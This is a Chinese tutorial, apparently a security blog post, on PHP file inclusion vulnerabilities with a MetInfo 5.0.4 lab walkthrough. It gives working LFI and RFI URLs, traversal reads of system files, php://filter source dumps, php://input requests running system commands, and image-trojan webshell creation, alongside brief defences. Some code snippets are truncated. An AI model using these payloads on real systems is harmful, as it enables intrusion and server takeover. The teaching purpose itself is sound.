渗透测试漏洞原理之---【任意文件包含漏洞】

文章目录

    • 1、文件包含概述
      • 1.1 文件包含语句
        • 1.1.1、相关配置
      • 1.2、动态包含
        • 1.2.1、示例代码
        • 1.2.2、本地文件包含
        • 1.2.3、远程文件包含
      • 1.3、漏洞原理
        • 1.3.1、特点
    • 2、文件包含攻防
      • 2.1、利用方法
        • 2.1.1、包含图片木马
        • 2.1.2、读取敏感文件
        • 2.1.3、读取PHP文件源码
        • 2.1.4、执行PHP命令
        • 2.1.5、包含图片马写Shell
        • 2.1.6、包含日志
      • 2.3、文件包含防御
    • 3、metinfo案例
          • 1、蚁剑直接连接图片马
          • 2、读取敏感目录
          • 3、读取php源码
          • 4、执行PHP命令
          • 5、包含木马写Shell (图片马制作新方法)

1、文件包含概述

程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。

几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的Web 应用中居多,在JSP/ASP/ASP.NET 程序中比较少。

1.1 文件包含语句

PHP 提供了四个文件包含的语句,四个语句之间略有不同。

语句 区别
include() 多次包含,多次执行;
如果包含失败,脚本产生警告,继续运行。
include_once() 多次包含,一次执行;
如果包含失败,脚本产生警告,继续运行。
require() 多次包含,多次执行;
如果包含失败,脚本产生错误,结束执行。
require_once() 多次包含,一次执行;
如果包含失败,脚本产生错误,结束执行

1.1.1、相关配置

文件包含是PHP 的基本功能之一,有本地文件包含与远程文件包含之分。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置

allow_url_fopen = On/Off # 通过远程方式打开文件
allow_url_include = On/Off # 通过远程方式包含文件

1.2、动态包含

1.2.1、示例代码

// file-include.php

$fp = @$_GET['filepath'];
@include $fp;

1.2.2、本地文件包含

本地文件包含(Local File Include,LFI)通过本地路径访问到的文件

?filepath=../phpinfo.php

1.2.3、远程文件包含

远程文件包含(Remote File Include,RFI),通过远程路径访问到的文件

?filepath=http://10.9.75.180/phpinfo.jpg

1.3、漏洞原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

1.3.1、特点

无视文件扩展名读取文件内容

上传图片木马,通过文件包含的方式触发php木马

?filepath=./a.jpg

无条件解析PHP 代码,为图片木马提供了出路

?filepath=a_yjh_info.jpg

2、文件包含攻防

2.1、利用方法

2.1.1、包含图片木马

蚁剑直接连接

http://10.4.7.130/file-include/file-include.php?filepath=1.jpg

2.1.2、读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。

前提条件:

  • 目标文件存在(已知目标文件路径);
  • 具有文件可读权限

具体方法:

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts
# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

封装协议

封装协议 解释说明
file://
访问本地文件系统
http://
访问 HTTP(s) 网址
ftp://
访问 FTP(s) URLs
php://
访问各个输入/输出流(I/O streams)
zlib://
压缩流
data://
数据(RFC 2397)
glob://
查找匹配的文件路径模式
phar://
PHP 归档
ssh2://
Secure Shell 2
rar://
RAR
ogg://
音频流
expect://
处理交互式的流

2.1.3、读取PHP文件源码

利用php://fileter 读取

?filepath=php://filter/read=convert.base64-encode/resource=目标文件

读取结果是base64,需要解码

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==

2.1.4、执行PHP命令

利用条件:

  • 利用php://input 执行PHP 命令;
  • 远程文件包含开启
POST /file-include/include.php?filepath=php://input HTTP/1.1
Host: 192.168.80.141
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 18

<?php phpinfo();?>

2.1.5、包含图片马写Shell

条件:

  • 确定文件包含漏洞存在;
  • 蚁剑不能直接连接

写shell:

 fputs(fopen("shell.php",'w'),'')?>
    
<?php file_put_contents('shell.php','')?>

利用:

http://10.4.7.130/file-include/shell.php

2.1.6、包含日志

Apache 日志:

  • 访问日志
  • 错误日志

Nginx 日志:

  • 访问日志
  • 错误日志

SSH 日志

邮件日志

2.3、文件包含防御

  • 尽量少的使用动态包含;
  • 严格过滤被包含文件的路径;
  • 将参数allow_url_include 设置为Off
  • 使用参数open_basedir 限定文件访问范围。
open_basedir = c:\phpstudy_2016\www\

3、metinfo案例

以metinfo_5.0.4为例

该环境的文件上传点在admin路径下

渗透测试漏洞原理之---【任意文件包含漏洞】_第1张图片

但是上传文件会失败,

所以直接在网站的upload\file下放入图片木马


文件包含漏洞利用点:/about/index.php?fmodule=7&module=[filePath]

1、蚁剑直接连接图片马

图片马制作:

copy 1.jpg/b+1.php/a 22.jpg

上传图片木马,通过文件包含的方式去访问

http://127.0.0.1/MetInfo5.0.4//about/index.php?fmodule=7&module=../upload/file/22.jpg

渗透测试漏洞原理之---【任意文件包含漏洞】_第2张图片

使用蚁剑连接

渗透测试漏洞原理之---【任意文件包含漏洞】_第3张图片

渗透测试漏洞原理之---【任意文件包含漏洞】_第4张图片

2、读取敏感目录
http://127.0.0.1/MetInfo5.0.4//about/index.php?fmodule=7&module=../../../../../../../../../../../windows/system32/drivers/etc/hosts

渗透测试漏洞原理之---【任意文件包含漏洞】_第5张图片

3、读取php源码
http://127.0.0.1/MetInfo5.0.4/about/index.php?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

渗透测试漏洞原理之---【任意文件包含漏洞】_第6张图片

读取结果:

PD9waHANCiMgTWV0SW5mbyBFbnRlcnByaXNlIENvbnRlbnQgTWFuYWdlbWVudCBTeXN0ZW0gDQojIENvcHlyaWdodCAoQykgTWV0SW5mbyBDby4sTHRkIChodHRwOi8vd3d3Lm1ldGluZm8uY24pLiBBbGwgcmlnaHRzIHJlc2VydmVkLiANCnJlcXVpcmVfb25jZSAnLi4vaW5jbHVkZS9jb21tb24uaW5jLnBocCc7DQppZighJGlkICYmICRjbGFzczEpJGlkID0gJGNsYXNzMTsNCiRzaG93ID0gJGRiLT5nZXRfb25lKCJTRUxFQ1QgKiBGUk9NICRtZXRfY29sdW1uIFdIRVJFIGlkPSRpZCBhbmQgbW9kdWxlPTEiKTsNCmlmKCEkc2hvd3x8ISRzaG93Wydpc3Nob3cnXSl7DQpva2luZm8oJy4uLzQwNC5odG1sJyk7DQp9DQokbWV0YWNjZXNzPSRzaG93W2FjY2Vzc107DQppZigkc2hvd1tjbGFzc3R5cGVdPT0zKXsNCiRzaG93MyA9ICRkYi0+Z2V0X29uZSgiU0VMRUNUICogRlJPTSAkbWV0X2NvbHVtbiBXSEVSRSBpZD0nJHNob3dbYmlnY2xhc3NdJyIpOw0KJGNsYXNzMT0kc2hvdzNbYmlnY2xhc3NdOw0KJGNsYXNzMj0kc2hvd1tiaWdjbGFzc107DQokY2xhc3MzPSRzaG93W2lkXTsNCn1lbHNlew0KJGNsYXNzMT0kc2hvd1tiaWdjbGFzc10/JHNob3dbYmlnY2xhc3NdOiRpZDsNCiRjbGFzczI9JHNob3dbYmlnY2xhc3NdPyRpZDoiMCI7DQokY2xhc3MzPTA7DQp9DQoNCnJlcXVpcmVfb25jZSAnLi4vaW5jbHVkZS9oZWFkLnBocCc7DQokY2xhc3MxX2luZm89JGNsYXNzX2xpc3RbJGNsYXNzMV07DQokY2xhc3MxX2xpc3Q9JGNsYXNzMV9pbmZvOw0KJGNsYXNzMl9pbmZvPSRjbGFzc19saXN0WyRjbGFzczJdOw0KJGNsYXNzM19pbmZvPSRjbGFzc19saXN0WyRjbGFzczNdOw0KJHNob3dbY29udGVudF09Y29udGVudHNob3coJzxkaXY+Jy4kc2hvd1tjb250ZW50XS4nPC9kaXY+Jyk7DQokc2hvd1tkZXNjcmlwdGlvbl09JHNob3dbZGVzY3JpcHRpb25dPyRzaG93W2Rlc2NyaXB0aW9uXTokbWV0X2tleXdvcmRzOw0KJHNob3dba2V5d29yZHNdPSRzaG93W2tleXdvcmRzXT8kc2hvd1trZXl3b3Jkc106JG1ldF9rZXl3b3JkczsNCiRtZXRfdGl0bGU9JG1ldF90aXRsZT8kc2hvd1snbmFtZSddLictJy4kbWV0X3RpdGxlOiRzaG93WyduYW1lJ107DQppZigkc2hvd1snY3RpdGxlJ10hPScnKSRtZXRfdGl0bGU9JHNob3dbJ2N0aXRsZSddOw0KcmVxdWlyZV9vbmNlICcuLi9wdWJsaWMvcGhwL21ldGh0bWwuaW5jLnBocCc7DQppbmNsdWRlIHRlbXBsYXRlKCdzaG93Jyk7DQpmb290ZXIoKTsNCiMgVGhpcyBwcm9ncmFtIGlzIGFuIG9wZW4gc291cmNlIHN5c3RlbSwgY29tbWVyY2lhbCB1c2UsIHBsZWFzZSBjb25zY2lvdXNseSB0byBwdXJjaGFzZSBjb21tZXJjaWFsIGxpY2Vuc2UuDQojIENvcHlyaWdodCAoQykgTWV0SW5mbyBDby4sIEx0ZC4gKGh0dHA6Ly93d3cubWV0aW5mby5jbikuIEFsbCByaWdodHMgcmVzZXJ2ZWQuDQo/

得出base64编码格式的数据,使用bp的Decoder功能进行base64解码

渗透测试漏洞原理之---【任意文件包含漏洞】_第7张图片

也可以利用HackBar浏览器插件

渗透测试漏洞原理之---【任意文件包含漏洞】_第8张图片

复制得到的base64编码格式的php代码

渗透测试漏洞原理之---【任意文件包含漏洞】_第9张图片

点击 OK

渗透测试漏洞原理之---【任意文件包含漏洞】_第10张图片

解码成功!

4、执行PHP命令

bp拦截得到php源码的数据包

渗透测试漏洞原理之---【任意文件包含漏洞】_第11张图片

发送到Repeater模块

GET包该成POST数据包

渗透测试漏洞原理之---【任意文件包含漏洞】_第12张图片

得到POST数据包

渗透测试漏洞原理之---【任意文件包含漏洞】_第13张图片

把POST请求体中的变量放到url中提交

虽然说是POST数据包,但是POST数据包的url中也可以用GET参数

渗透测试漏洞原理之---【任意文件包含漏洞】_第14张图片

fmodule=7&module=的值改成php://input,然后在下面写入php代码,点击send

 phpinfo();?>

渗透测试漏洞原理之---【任意文件包含漏洞】_第15张图片

执行系统代码

 
system("whoami")
?>

渗透测试漏洞原理之---【任意文件包含漏洞】_第16张图片

 
system("ipconfig")
?>

渗透测试漏洞原理之---【任意文件包含漏洞】_第17张图片

5、包含木马写Shell (图片马制作新方法)
 fputs(fopen("shell.php",'w'),'')?>

该段代码的含义是,在当前目录下创建一个名为shell.php的文件,内容为,当我们直接包含图片的时候,这段代码就会被执行

重新再upload\file下放入一张没有木马的图片,使用另一种方式制作图片木马

点击图片---右键属性---详细信息

渗透测试漏洞原理之---【任意文件包含漏洞】_第18张图片

点击应用,点击确定

在浏览器中访问图片http://127.0.0.1/MetInfo5.0.4/upload/file/1.jpg,图片正常显示

渗透测试漏洞原理之---【任意文件包含漏洞】_第19张图片

使用文件包含的方式去访问图片

http://127.0.0.1/MetInfo5.0.4/about/index.php?fmodule=7&module=../upload/file/1.jpg

页面显示如下:

渗透测试漏洞原理之---【任意文件包含漏洞】_第20张图片

随即发现在upload文件夹中有个新建文件shell.php,即可用蚁剑连接

渗透测试漏洞原理之---【任意文件包含漏洞】_第21张图片

渗透测试漏洞原理之---【任意文件包含漏洞】_第22张图片

你可能感兴趣的:(#,渗透测试,web安全,网络安全,靶场)